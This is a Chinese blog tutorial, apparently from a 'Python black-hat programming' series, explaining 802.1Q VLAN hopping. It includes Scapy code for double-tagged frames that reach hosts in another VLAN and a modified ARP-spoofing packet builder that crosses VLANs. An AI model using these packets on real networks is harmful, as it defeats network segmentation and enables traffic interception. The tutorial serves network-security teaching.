Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
Python中编写ORM框架的入门指引
Apr 29 Python
Python的Django框架中的URL配置与松耦合
Jul 15 Python
Django 导出 Excel 代码的实例详解
Aug 11 Python
python中验证码连通域分割的方法详解
Jun 04 Python
Python Opencv实现图像轮廓识别功能
Mar 23 Python
Python列表原理与用法详解【创建、元素增加、删除、访问、计数、切片、遍历等】
Oct 30 Python
python实现操作文件(文件夹)
Oct 31 Python
PyTorch中反卷积的用法详解
Dec 30 Python
在Windows上安装和配置 Jupyter Lab 作为桌面级应用程序教程
Apr 22 Python
Keras 使用 Lambda层详解
Jun 10 Python
django跳转页面传参的实现
Sep 17 Python
Pytorch中的学习率衰减及其用法详解
Jun 05 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
ThinkPHP应用模式扩展详解
2014/07/16 PHP
php实现TCP端口检测的方法
2015/04/01 PHP
PHP实现可自定义样式的分页类
2016/03/29 PHP
PHP基于ICU扩展intl快速实现汉字转拼音及按拼音首字母分组排序的方法
2017/05/03 PHP
PHP实现防止表单重复提交功能【基于token验证】
2018/05/24 PHP
Jquery 表单取值赋值的一些基本操作
2009/10/11 Javascript
各浏览器对click方法的支持差异小结
2011/07/31 Javascript
jQuery1.6 类型判断实现代码
2011/09/01 Javascript
javascript自动改变文字大小和颜色的效果的小例子
2013/08/02 Javascript
非常漂亮的JS+CSS图片幻灯切换特效
2013/11/20 Javascript
Node.js入门教程:在windows和Linux上安装配置Node.js图文教程
2014/08/14 Javascript
jQuery实现简单的间隔向上滚动效果
2015/03/09 Javascript
AngularJS directive返回对象属性详解
2016/03/28 Javascript
简单实现JavaScript图片切换效果
2016/11/28 Javascript
mongoose中利用populate处理嵌套的方法
2017/05/26 Javascript
JS实现加载时锁定HTML页面元素的方法
2017/06/24 Javascript
JS动态添加的div点击跳转到另一页面实现代码
2017/09/30 Javascript
webpack构建换肤功能的思路详解
2017/11/27 Javascript
微信web端后退强制刷新功能的实现代码
2018/03/04 Javascript
使用webpack搭建vue项目实现脚手架功能
2019/03/15 Javascript
基于JS实现web端录音与播放功能
2019/04/17 Javascript
pageGroup.js实现分页功能
2019/07/27 Javascript
Python工程师面试题 与Python Web相关
2016/01/14 Python
Python中绑定与未绑定的类方法用法分析
2016/04/29 Python
深入了解Python数据类型之列表
2016/06/24 Python
win10环境下python3.5安装步骤图文教程
2017/02/03 Python
判断python对象是否可调用的三种方式及其区别详解
2019/01/31 Python
python3用PIL把图片转换为RGB图片的实例
2019/07/04 Python
Python基于Tkinter编写crc校验工具
2020/05/06 Python
CSS3——齿轮转动关键代码
2013/05/02 HTML / CSS
澳大利亚工具仓库:Tools Warehouse
2018/10/15 全球购物
Notino匈牙利:购买香水和化妆品
2019/04/12 全球购物
幼儿教师思想汇报
2014/01/10 职场文书
经典婚礼主持词
2014/03/13 职场文书
vue实现简单数据双向绑定
2021/04/28 Vue.js
python 网络编程要点总结
2021/06/18 Python